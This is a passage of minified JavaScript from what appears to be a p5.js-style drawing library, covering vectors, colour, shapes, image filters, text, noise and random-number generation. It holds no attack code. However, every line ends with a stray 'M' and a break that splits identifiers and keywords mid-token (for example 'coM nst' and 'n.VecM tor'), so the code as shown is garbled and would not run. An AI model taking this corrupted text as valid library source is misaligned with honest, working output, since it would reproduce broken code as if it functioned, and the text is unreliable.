ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
